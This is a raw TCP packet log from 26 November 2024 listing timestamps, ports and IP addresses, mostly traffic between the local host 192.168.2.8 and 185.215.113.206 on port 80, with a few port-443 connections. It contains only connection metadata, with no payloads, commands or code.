Nov 26, 2024 08:03:45.273698092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.273942947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.273998022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.274403095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.274483919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.274540901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.274581909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.275397062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.275475025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.275532007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.275619984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.276329041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.276374102 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.276482105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.276524067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.277170897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.277240992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.277313948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.277374029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.278090000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.278184891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.278234959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.278306007 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.278912067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.278964043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.279203892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.279253006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.279902935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.279985905 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.280046940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.280117035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.280817032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.280859947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.280971050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.281023026 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.281785965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.281796932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.281832933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.282695055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.282708883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.282756090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.283622026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.283634901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.283667088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.283767939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.284410954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.284420967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.284463882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.285341024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.285358906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.285392046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.285430908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.286262989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.286323071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.286412001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.286493063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.287076950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.287127972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.287235975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.287286043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.288037062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.288081884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.288187027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.288223982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.288959026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.289012909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.289144039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.289202929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.289884090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.289930105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.290060997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.290163040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.290692091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.290745020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.290829897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.290890932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.291630983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.291711092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.291759968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.291815042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.292084932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.292093992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.292113066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.292145967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.292159081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.292177916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.292206049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.294552088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.294599056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.294692993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.294743061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.295485020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.295555115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.295639992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.295692921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.296325922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.296338081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.296386003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.296952009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.296996117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.297161102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.297224045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.298104048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.298152924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.298208952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.298315048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.298804045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.298964024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.299019098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.299721003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.299894094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.299954891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.300666094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.300721884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.300839901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.300940990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.301559925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.301619053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.301718950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.301794052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.303013086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.303025961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.303080082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.303319931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.303436995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.303462029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.303498030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.304255009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.304316044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.304420948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.304460049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.305618048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.305671930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.305759907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.305870056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.306060076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.306082010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.306123018 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.307018042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.307029963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.307082891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.307910919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.307970047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.308063030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.308106899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.308859110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.308913946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.309000969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.309046030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.309732914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.309787035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.309896946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.309951067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.310616016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.310627937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.310676098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.312319040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.312390089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.312483072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.312493086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.312535048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.312639952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.312694073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.313293934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.313441038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.313493967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.314220905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.314392090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.314413071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.314460039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.315076113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.315128088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.315223932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.315778017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.315980911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.316051960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.316122055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.316512108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.316920996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.316979885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.317065954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.317120075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.317877054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.317929983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.318018913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.318073988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.318670988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.318829060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.318877935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.319761038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.319772005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.319807053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.320604086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.320615053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.320676088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.321362019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.321444035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.321504116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.321563005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.322274923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.322361946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.322371006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.322412014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.413405895 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413439989 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413449049 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413464069 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413481951 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413491011 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413569927 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.413569927 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.413587093 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.413640976 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.448019981 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.448045969 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.448163986 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.448164940 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.448178053 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.448591948 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.476744890 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.476802111 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:45.476876974 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.477132082 CET	49798	443	192.168.2.8	23.209.72.21
Nov 26, 2024 08:03:45.477144957 CET	443	49798	23.209.72.21	192.168.2.8
Nov 26, 2024 08:03:45.482990026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.483002901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.483059883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.483695030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.483705044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.483747005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.484577894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.484587908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.484627008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.484649897 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.485209942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.485306978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.485471010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.485480070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.485533953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.486172915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.486257076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.486310959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.486649036 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.486673117 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.486761093 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.486761093 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.486773014 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.486920118 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.487081051 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.487135887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.487205982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.487348080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.488012075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.488084078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.488502979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.488575935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.489025116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.489033937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.489088058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.489798069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.489836931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.489870071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.489931107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.490709066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.490948915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.491087914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.491131067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.491781950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.491791964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.491919041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.492496014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.492532015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.492571115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.492717981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.494103909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.494115114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.494144917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.494168043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.494314909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.494362116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.494445086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.494484901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.495409966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.495419979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.495460033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.496563911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.496573925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.496643066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.497004032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.497055054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.497107029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.497185946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.498203039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.498214006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.498256922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.499133110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.499138117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.499187946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.499747992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.499793053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.499813080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.499969959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.500854015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.500864983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.500936985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.501595974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.501677036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.501724005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.501902103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.502510071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.503381014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.503398895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.503464937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.503572941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.503612995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.504395962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.504405022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.504450083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.505484104 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.505492926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.505532026 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.506012917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.506191969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.506196022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.506653070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.507080078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.507090092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.507143021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.507838964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.507961988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.507970095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.508143902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.508733034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.508836985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.508896112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.508943081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.510191917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.510201931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.510250092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.510540962 CET	80	49747	185.215.113.206	192.168.2.8
